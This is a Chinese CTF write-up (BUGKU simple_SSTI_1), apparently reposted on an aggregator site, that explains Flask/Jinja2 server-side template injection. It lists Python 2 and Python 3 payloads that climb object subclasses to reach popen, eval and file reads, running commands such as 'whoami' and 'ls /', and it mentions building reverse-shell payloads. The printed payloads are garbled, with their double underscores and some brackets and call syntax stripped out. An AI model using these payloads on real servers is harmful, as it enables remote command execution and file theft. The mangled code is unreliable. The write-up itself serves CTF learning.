BUGKU-simple_SSTI_1漏洞注入

news2025/1/22 19:56:47

SSTI漏洞注入

SSTI全称Server side template injection.服务端模板注入这节课主要讲flask的模板注入.flask会把类似于 的变量当做参数来渲染并填充到web页面,如果该参数可控并被后台解析则有可能被注入恶意代码导致注入漏洞请注意 模板注入只会存在于二次渲染中,无二次渲染不会出现模板注入。

注入过程

  1. 确定模板类型
    在这里插入图片描述
  2. 利用魔术方法寻找可命令执行的子类
    魔术方法:
    class 返回类型所属的对象
    mro 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
    base 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的
    subclasses 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
    init 类的初始化方法
    globals 对包含函数全局变量的字典的引用
    寻找子类:
    Python3:
    使用file类读取文件的方法: <class ‘_frozen_importlib_external.FileLoader’>这个类索引号;
    利用os._warp_close类的 popen函数执行命令:
    [].class.mro[-1].subclasses()[128].init.globals’popen’.read()
    ().class.bases[0].subclasses()[128].init.globals[‘builtins’]‘import’.popen(‘whoami’).read()
    ().class.bases[0].subclasses()[128].init.globals[‘builtins’]‘eval’
    ().class.bases[0].subclasses()[128].init.globals[‘builtins’]‘eval’
    利用os._warp_close类的 open函数读取文件:
    ().class.bases[0].subclasses()[128].init.globals[‘builtins’]‘open’.read()
    Python2:
    利用 warnings.WarningMessage的 linecache执行命令:
    [].class.base.subclasses()[59].init.func_globals[‘linecache’].os.popen(‘whoami’).read()
    ().class.bases[0].subclasses()40.read()
    ().class.bases[0].subclasses()[75].init.globals[‘builtins’]‘eval’
    利用file类读取文件(python2特有):
    ().class.bases[0].subclasses()40.read()
    ().class.bases[0].subclasses()40.readlines()
    存在popen函数的类一般是 os._wrap_close
    [].class.mro[-1].subclasses()[128].init.globals[‘builtins’][‘eval’](‘import(“o”+“s”).popen(“ls /”).read()’)
    思路:找到父类<type ‘object’>–>寻找子类–>找关于命令执行或者文件操作的模块。
    几个含有eval函数的类:
    warnings.catch_warnings
    WarningMessage
    codecs.IncrementalEncoder
    codecs.IncrementalDecoder
    codecs.StreamReaderWriter
    os._wrap_close
    reprlib.Repr
    weakref.finalize
  3. 构造PAYLOAD执行反弹SHELL等命令
    相关链接

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1068985.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

漏刻有时数据可视化Echarts组件开发(39)splitLine网格线效果

splitLine设置坐标轴网格线的样式 show&#xff1a;是否显示网格线。默认为true。lineStyle&#xff1a;线条样式&#xff0c;包括类型&#xff08;type&#xff09;、颜色&#xff08;color&#xff09;、宽度&#xff08;width&#xff09;等。例如&#xff0c;可以设置为da…

JVM篇---第九篇

系列文章目录 文章目录 系列文章目录一、什么是指针碰撞&#xff1f;二、什么是空闲列表三、什么是TLAB&#xff1f; 一、什么是指针碰撞&#xff1f; 一般情况下&#xff0c;JVM的对象都放在堆内存中&#xff08;发生逃逸分析除外&#xff09;。当类加载检查通过后&#xff0…

【自用】ubuntu 18.04 LTS安装opencv 3.4.16 + opencv_contrib 3.4.16

1.下载 opencv 3.4.16 opencv_contrib 3.4.16 其中&#xff0c;opencv_contrib解压后的多个文件夹复制到opencv内、合并 声明&#xff1a;尚未验证该方式是否可行 2.安装 参考博文&#xff1a; https://zhuanlan.zhihu.com/p/650792342 https://zhuanlan.zhihu.com/p/8719780…

Java基于SpringBoot 的汽车租赁系统

1 简介 致远汽车租赁管理方面的任务繁琐,以至于公司每年都在致远汽车租赁管理这方面投入较多的精力却效果甚微,致远汽车租赁系统的目标就是为了能够缓解致远汽车租赁管理工作方面面临的压力,让致远汽车租赁管理方面的工作变得更加高效准确。 文章首发地址 2 技术栈 开发语言…

前端实现chatGpt流式输出 - SSE

前端实现chatGpt流式输出 - SSE 一、chatGpt流式输出技术分析 在使用ChatGPT时&#xff0c;模型的回复内容是连续输出&#xff0c;而不是整段话直接出现&#xff0c;因为模型需要不断预测接下来要回复什么内容&#xff0c;如果等整段回复生成之后再输出到网页&#xff0c;用户…

修改el-tab标签页的label默认样式(插槽)

目录 需求&#xff1a; 修改方式&#xff1a; 原始代码&#xff1a; 修改代码&#xff1a; 具体步骤&#xff1a; 需求&#xff1a; 修改el-tab标签页的label默认样式&#xff08;如图所示&#xff0c;该label标签的字体较小&#xff0c;以至于在页面上不太明显&#xff0c…

蔡司光学:儿童近视眼镜的匠心之选

如今我们正处于“信息爆炸”的时代&#xff0c;生活的方方面面都离不开手机、平板和电脑等各种电子设备&#xff0c;加上不正确的用眼习惯&#xff0c;也使青少年及儿童的近视率呈现逐年攀升的态势&#xff0c;为了及时预防儿童近视&#xff0c;业内著名眼视光品牌蔡司光学积极…

Flutter安卓混淆的相关问题

当你执行 build apk 后&#xff0c;flutter会默认进行混淆&#xff0c;若你的应用中引用了第三方的sdk&#xff0c;在debug模式下没问题&#xff0c;但在release下可能就会出现各种各样的问题&#xff0c;找不到某个类&#xff0c;或者某个功能无法使用&#xff0c;甚至直接崩溃…

html 笔记:CSS

1 什么是CSS CSS 指层叠样式表 (Cascading Style Sheets) 样式定义如何显示 HTML 元素样式通常存储在样式表中 1.1 css的语法格式 1.1.1 选择器种类 HTML选择器&#xff1a; 重新定义HTML的某种标签的显示格式id选择器 对于HTML文档中的某个标签&#xff0c;定义它的显示格式…

matlab展示两个向量之间的差异

一是使用plot函数 画出两个向量的曲线&#xff0c;并将它们重叠在一起。这样可以清楚地看到两个向量之间的差异 x linspace(0,2*pi,100); y1 sin(x); y2 cos(x); plot(x,y1,x,y2) legend(sin(x),cos(x)) 二是使用stem函数 构造两个向量的差异向量&#xff0c;用stem函数绘…

常见数学名词

目录 正数 positive number 负数 negative number 整数 integer number 自然数 Natural number 实数 real number 虚数 imaginary number 复数 complex number 复数的模 ∣z∣ 共轭复数 conjugate complex number 复数运算法则 正数 positive number 正数全称正实数&…

jmeter利用自身代理录制脚本

在利用代理录制脚本时一定要安装java jdk&#xff0c;不然不能录制的。 没有安装过java jdk安装jmeter后打开时会提示安装jdk&#xff0c;但是mac系统中直接打开提示安装jdk页面后下载的java并不是jdk&#xff08;windows中没有试验过&#xff0c;笔者所说的基本全部指的是在ma…

再不用担心网口不够啦,网管交换机让单网卡接多条宽带

先交代一下我之前的使用环境&#xff0c;家里先有一条移动赠送的宽带&#xff0c;后来办手机卡联通又附带一条宽带&#xff0c;由于我的双口软路由的网口无法接入两条宽带&#xff0c;只有一个lan口一个wan口&#xff0c;无法多wan接入&#xff0c;而插USB网卡又要添加驱动&…

Suricata – 入侵检测、预防和安全工具

一、Suricata介绍 Suricata是一个功能强大、用途广泛的开源威胁检测引擎&#xff0c;提供入侵检测 (IDS)、入侵防御 (IPS) 和网络安全监控功能。它执行深度数据包&#xff08;网络流量&#xff09;检查以及模式匹配&#xff0c;在威胁检测中非常强大。 工作流程&#xff1a; 主…

R语言快速实现图片布局(1)

&#xff08;1&#xff09;简单的一排或者对称的多排&#xff0c;使用patchwork即可。/表示分行&#xff0c;|表示分列 library(patchwork) pp1<-ggplot(mtcars) geom_point(aes(mpg, disp)) pp2<-ggplot(mtcars) geom_boxplot(aes(gear, disp, group gear)) pp3 <…

few shot object detection via feature reweight笔记

摘要部分 few shot很多用的都是faster R-CNN为基础&#xff0c;本文用的是one-stage 结构。 用了一个meta feature learner和reweighting模块。 和其他的few shot一样&#xff0c;先学习base数据集&#xff0c;再推广到novel数据集。 feature learner会从base数据集中提取meta…

Python机器学习实战-特征重要性分析方法(8):方差分析ANOVA(附源码和实现效果)

实现功能 使用f_classif()获得每个特征的方差分析f值。f值越高&#xff0c;表明特征与目标的相关性越强。 实现代码 from sklearn.feature_selection import f_classif import pandas as pd from sklearn.datasets import load_breast_cancer import matplotlib.pyplot as p…

七张图解锁Mybatis整体脉络,让你轻松拿捏面试官

前言 MyBatis是一款ORM&#xff08;Object-Relational Mapping&#xff09;框架&#xff0c;其主要用于将Java对象与关系数据库之间进行映射&#xff0c;凭借其轻量性、稳定性以及广泛的开源社区其受到了广大开发者的追捧。 那MyBatis为我们做了哪些事情呢&#xff1f;其实&a…

Thinking for Doing:让LLMs能推断他人心理状态来做出适当的行动。

LLMs通常能回答有关心理状态的问题&#xff0c;但往往不能将这些推断用于实际行动。例如&#xff0c;如果一个故事中的角色正在寻找他的背包&#xff0c;而模型知道背包在厨房里&#xff0c;那么模型应该能推断出最好的行动是建议角色去厨房查看。T4D 的目的就是要求模型不仅要…

JavaScript-mooc(纯分享)

第一步下载软件 mooc_v1.3.2_windows_amd64.zip - 蓝奏云 解压后打开有这么多文件 用记事本的打开方式打开config的文件 第一个尖头改成你学校对应慕课英华网址 第二个箭头是你的账号 第三个箭头是你的密码 改好后点击文件保存 最后一步点击运行 {"global": {&qu…